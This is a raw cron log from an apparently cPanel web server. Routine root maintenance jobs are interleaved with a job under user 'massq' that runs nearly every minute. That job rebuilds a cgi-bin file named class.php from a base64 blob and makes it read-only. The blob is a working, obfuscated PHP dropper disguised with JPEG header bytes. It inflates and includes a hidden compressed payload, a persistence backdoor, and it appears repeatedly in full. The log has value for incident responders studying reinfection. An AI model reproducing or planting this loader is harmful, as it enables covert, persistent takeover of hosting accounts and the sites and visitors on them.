Aug 30 13:40:01 server CROND[5974]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:41:01 server CROND[6811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:41:01 server CROND[6812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:41:01 server CROND[6813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:42:01 server CROND[7190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:42:01 server CROND[7191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:42:01 server CROND[7192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 13:42:01 server CROND[7193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:43:01 server CROND[7571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:43:01 server CROND[7572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:43:01 server CROND[7573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:44:01 server CROND[8032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:44:01 server CROND[8033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:44:01 server CROND[8034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:45:01 server CROND[8411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:45:01 server CROND[8410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:45:01 server CROND[8412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:45:01 server CROND[8413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:45:01 server CROND[8415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:45:01 server CROND[8416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:45:01 server CROND[8421]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:46:01 server CROND[9254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:46:01 server CROND[9255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:46:01 server CROND[9256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:47:01 server CROND[9631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:47:01 server CROND[9630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:47:01 server CROND[9632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:48:01 server CROND[10007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:48:01 server CROND[10006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:48:01 server CROND[10008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:49:01 server CROND[10387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:49:01 server CROND[10388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:49:01 server CROND[10389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:50:01 server CROND[10865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:50:01 server CROND[10867]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:50:01 server CROND[10869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:50:01 server CROND[10871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:50:01 server CROND[10873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:50:01 server CROND[10874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:50:01 server CROND[10876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:50:01 server CROND[10875]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 13:50:01 server CROND[10878]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:51:01 server CROND[11834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:51:01 server CROND[11835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:51:01 server CROND[11836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:52:01 server CROND[12675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:52:01 server CROND[12676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:52:01 server CROND[12677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:53:01 server CROND[13048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:53:01 server CROND[13049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
